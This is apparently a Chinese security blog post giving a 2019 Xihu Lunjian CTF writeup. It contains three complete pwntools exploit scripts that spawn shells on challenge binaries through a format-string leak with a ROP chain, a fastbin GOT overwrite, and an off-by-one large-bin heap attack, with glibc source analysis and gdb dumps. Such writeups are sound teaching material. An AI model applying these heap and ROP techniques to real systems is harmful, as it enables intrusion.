- 2018 铁三东北赛区之 aleph1 rbp 栈迁移
- return to dl resolve 利用 i386 roputils 库
- 提权读写空指针 利用中断门提权并挂载物理页
- RCTF2015 之 welpwn 64位构造 ROP 过掉 00 截断
- XDCTF2015 之 pwn200 DynELF 实现无 libc 利用
- pwnable.tw 之 hacknote uaf 利用
- pwnable.kr 之 unlink 堆还是栈?
- pwnable.kr 之 uaf 虚表利用
- 360 春秋杯之 smallest SROP 利用
- 网鼎杯 Pwn 之 GUESS ssp leak + environ 泄露
- 32 位 fmtstr 漏洞利用 记一 32 位格式化字符串漏洞利用
- 网鼎杯 Pwn 之 babyheap unlink+uaf+fastbin attack
- 网鼎杯 Pwn 之 blind _IO_FILE 利用
- 网鼎杯 Pwn 之 pesp 多方法解题
- House of orange 无 free 的堆利用
- 2018 湖湘杯 Reverse 之 Replace
- 南邮 NCTF 2018 之 smallbug2
- 铁三 2018 全国总决赛之 littlenote
- 铁三 2018 全国总决赛之 bookstore
- 铁三 2018 全国总决赛之 myhouse
- pwnable.tw 之 un3xp10itabl3
- pwnable.tw 之 D3-a5lr
- NCTF 2018 之 homura
- 2019 西湖论剑 writeup
- 2019 强网杯 writeup 之 PWN+Reverse 部分
- 西湖论剑线下个人赛 writeup pwn 部分
- 关于 smallbin 的利用
- 春秋杯网络安全公益联赛 BFnote 出题小结
- easy_unicorn 基于 unicorn 的沙盒逃逸
- Kernel Pwn gnote - TokyoWesterns CTF 2019
2019 西湖论剑 writeup
pwn1-story
#/usr/bin/env python
# -*- coding: UTF-8 -*-
##简单栈溢出,fsb
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
def g():
gdb.attach(p)
raw_input()
if __name__ == '__main__':
elf=ELF("./libc-2.23.so")
p=process("./story")
#p=remote("ctf3.linkedbyx.com",11326)
p.recvuntil("Please Tell Your ID:")
p.sendline("%11$p%15$p")
p.recvuntil("Hello ")
data=p.recvline()
libc=int(data[0:14],16)-0x78439
print "libc :"+hex(libc)
system=libc+elf.symbols["system"]
print "system :"+hex(system)
binsh = libc+next(elf.search('/bin/sh'))
canary = int(data[14:32],16)
print "canary :"+hex(canary)
p.recvuntil("Tell me the size of your story:\n")
p.sendline(str(129))
p.recvuntil("You can speak your story:\n")
poprdi_ret=0x0000000000400bd3
rop=p64(poprdi_ret)+p64(binsh)+p64(system)
p.sendline("a"*0x88+p64(canary)+p64(0)+rop)
p.interactive()
pwn2-noinfoleak
#/usr/bin/env python
# -*- coding: UTF-8 -*-
#程序没开PIE,利用fastbin_attack,
#在存放申请堆内存指针的bss段伪造chunk,并分配到该chunk
#控制下方的堆chunk指针,覆盖为atoi got表地址(经研究发现atoi与system偏移相近)
#编辑atoi got表中的内容,写低2byte,有很大的几率getshell
from pwn import *
def g():
gdb.attach(p)
raw_input()
def malloc(size,data):
p.recvuntil(">")
p.sendline(str(1))
p.recvuntil(">")
p.sendline(str(size))
p.recvuntil(">")
p.sendline(data)
def free(index):
p.recvuntil(">")
p.sendline(str(2))
p.recvuntil(">")
p.sendline(str(index))
def edit(index,data):
p.recvuntil(">")
p.sendline(str(3))
p.recvuntil(">")
p.sendline(str(index))
p.recvuntil(">")
p.send(data)
if __name__ == '__main__':
elf=ELF("./noinfoleak")
p=process("./noinfoleak")
atoi_got=elf.got["atoi"]
#p=remote('ctf1.linkedbyx.com',10426)
malloc(0x60,"1111")
malloc(0x60,"2222")
malloc(0x7f,"3333")
malloc(0x60,"4444")
malloc(0x60,"5555")
free(0)
edit(0,p64(0x6010c0))
malloc(0x60,"1111")
malloc(0x60,p64(atoi_got))
edit(3,"\x90\xf3")
#g()
p.recvuntil(">")
p.sendline('/bin/sh')
p.interactive()
pwn3-Storm_note
这道题根据0ctf2018的heapstorm2改编
我的exp根据eternalsakura大佬的改了点偏移 原文地址http://eternalsakura13.com/2018/04/03/heapstorm2/
此程序的利用关键是利用off-by-one实现堆块复用overlap chunk,控制unsorted bin中的chunk内容;再利用unsorted bin中的chunk摘链到large bin的同时往attack_addr写数据(size大小),同一过程在分配时就绕过了对unsortbin中chunk的size大小的检查
前面省略,当程序执行到此时
unsortedbin
all [corrupted]
FD: 0x563493717060 <— 0x0
BK: 0x563493717060 —> 0xabcd00e0 <— 0x0
largebins
0x4c0 [corrupted]
FD: 0x5634937175c0 <— 0x0
BK: 0x5634937175c0 —> 0xabcd00e8 <— 0x63fdd317dc6dfd07
gdb-peda$ x/10xg 0x563493717050
0x563493717050: 0x0000000000000000 0x0000000000000000
0x563493717060: 0x0000000000000000 0x00000000000004f1---> #7
0x563493717070: 0x0000000000000000 0x00000000abcd00e0
0x563493717080: 0x0000000000000000 0x0000000000000000
0x563493717090: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/10xg 0x5634937175a0
0x5634937175a0: 0x0000000000000000 0x0000000000000000
0x5634937175b0: 0x0000000000000000 0x0000000000000000
0x5634937175c0: 0x0000000000000000 0x00000000000004e1---> #8
0x5634937175d0: 0x0000000000000000 0x00000000abcd00e8
0x5634937175e0: 0x0000000000000000 0x00000000abcd00c3
当我们再次add(0x48)
,(0x555555757060 #7)chunk会被链入large_bin,这个过程要维护两个双向链表,多了一个chunk size链表
简化源码
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
....
bck = fwd->bk;
....
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
victim为(0x563493717060 #7),fwd只可能是我们放入large bin的唯一一个chunk(0x5634937175c0 #8),而它的bk_nextsize和bk都是我们可以控制的
0xabcd00e0处为fake_chunk
------------------PS1------------------
bck = fwd->bk;
bck->fd = victim; 即 fwd->bk->fd = victim
所以 0x00000000abcd00e8->fd = *(0x00000000abcd00f8) = fake_chunk->bk = 0x563493717060
//防止后面第二次摘链时 unsorted_bin中 对fake_chunk unlink失败
------------------PS2------------------
victim->bk_nextsize = fwd->bk_nextsize;
victim->bk_nextsize->fd_nextsize = victim; 即 fwd->bk_nextsize->fd_nextsize = victim
所以 0x00000000abcd00c3->fd_nextsize = *(0x00000000abcd00e3)=0x563493717060
// 这样一错位 0xabcd00e8 处的值为0x56
fake_chunk ->size =0x56
这样在后期第二次将 unsorted_bin 中 0xabcd00e0
fake_chunk 摘链时,
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) { // victim=fake_chunk
bck = victim->bk; // 由上面PS1知 bck=0x563493717060 #7 为有效地址
if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
__builtin_expect(chunksize_nomask(victim) > av->system_mem, 0)) //size检测过了
malloc_printerr(check_action, "malloc(): memory corruption",
chunk2mem(victim), av);
size = chunksize(victim);
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
/* 显然,bck被修改,并不符合这里的要求*/
if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
....
}
/* remove from unsorted list */
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av); // bck->fd =*( 0x563493717060+0x10)=unsorted_chunks(av)
if (size == nb) { // 请求大小相等,直接返回
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
if ( __builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
}
请求大小相等,直接返回
执行后的结果:
unsortedbin
all [corrupted]
FD: 0x563493717060 —▸ 0x7f86080fab78 (main_arena+88) ◂— 0x563493717060
BK: 0x563493717060 —▸ 0xabcd00e8 ◂— 0xcf2b44d62d091c3e
largebins
0x4c0 [corrupted]
FD: 0x5634937175c0 ◂— 0x0
BK: 0x5634937175c0 —▸ 0x563493717060 —▸ 0xabcd00e8 ◂— 0xcf2b44d62d091c3e
gdb-peda$ x/20xg 0x563493717060
0x563493717060: 0x0000000000000000 0x00000000000004f1
0x563493717070: 0x00007f86080fab78 0x00000000abcd00e8
0x563493717080: 0x00005634937175c0 0x00000000abcd00c3
0x563493717090: 0x0000000000000000 0x0000000000000000
0x5634937170a0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/20xg 0x5634937175c0
0x5634937175c0: 0x0000000000000000 0x00000000000004e1
0x5634937175d0: 0x0000000000000000 0x0000563493717060
0x5634937175e0: 0x0000000000000000 0x0000563493717060
0x5634937175f0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/20xg 0xabcd0100-0x20
0xabcd00e0: 0x3493717060000000 0x0000000000000056
0xabcd00f0: 0x00007f86080fab78 0x0000563493717060
0xabcd0100: 0xcf2b44d62d091c3e 0x0473463d0ecccd14
0xabcd0110: 0x81fad1924074c491 0xf855a421fde25929
0xabcd0120: 0x56936014c1a40a15 0x68b810230b77bc94
0xabcd0130: 0x0000000000000000 0x0000000000000001
0xabcd0140: 0x0000000000000000 0x0000000000000000
由int_malloc外层函数源码分析
assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
av == arena_for_chunk (mem2chunk (mem)));
由于申请到的chunk不属于主分配区,由mmap分配,所以av == arena_for_chunk (mem2chunk (mem))
表达式不成立,
只能chunk_is_mmapped (mem2chunk (mem))
为真IS_MAPPED 即chunk_size的低2bit位为1 代表由 mmap 分配的。 开启aslr堆内存开始字节随机,有几率成功。
EXP
from pwn import *
def add(size):
p.recvuntil('Choice')
p.sendline('1')
p.recvuntil('?')
p.sendline(str(size))
def edit(idx,data):
p.recvuntil('Choice')
p.sendline('2')
p.recvuntil('?')
p.sendline(str(idx))
p.recvuntil('Content')
p.send(data)
def dele(idx):
p.recvuntil('Choice')
p.sendline('3')
p.recvuntil('?')
p.sendline(str(idx))
def exploit():
global p
while True:
#p=process('./Storm_note')
p=remote('ctf1.linkedbyx.com',10444)
add(0x18) #0
add(0x508) #1
add(0x18) #2
edit(1, 'h'*0x4f0 + p64(0x500)) #set fake prev_size
add(0x18) #3
add(0x508) #4
add(0x18) #5
edit(4, 'h'*0x4f0 + p64(0x500)) #set fake prev_size
add(0x18) #6
dele(1)
edit(0, 'h'*(0x18)) #off-by-one
add(0x18) #1
add(0x4d8) #7
dele(1)
dele(2) #backward consolidate
add(0x38) #1
add(0x4e8) #2
dele(4)
edit(3, 'h'*(0x18)) #off-by-one
add(0x18) #4
add(0x4d8) #8
dele(4)
dele(5) #backward consolidate
add(0x48) #4
dele(2)
add(0x4e8) #2
dele(2)
storage = 0xabcd0100
fake_chunk = storage - 0x20
p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
p1 += p64(0) + p64(fake_chunk) #bk
edit(7, p1)
p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
p2 += p64(0) + p64(fake_chunk+8) #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
p2 += p64(0) + p64(fake_chunk-0x18-5) #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
edit(8, p2)
try:
# if the heap address starts with "0x56", you win
add(0x48) #2
except EOFError:
# otherwise crash and try again
p.close()
continue
edit(2,p64(0)*8)
p.sendline('666')
p.send('\x00'*0x30)
break
if __name__ == '__main__':
exploit()
p.interactive()
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论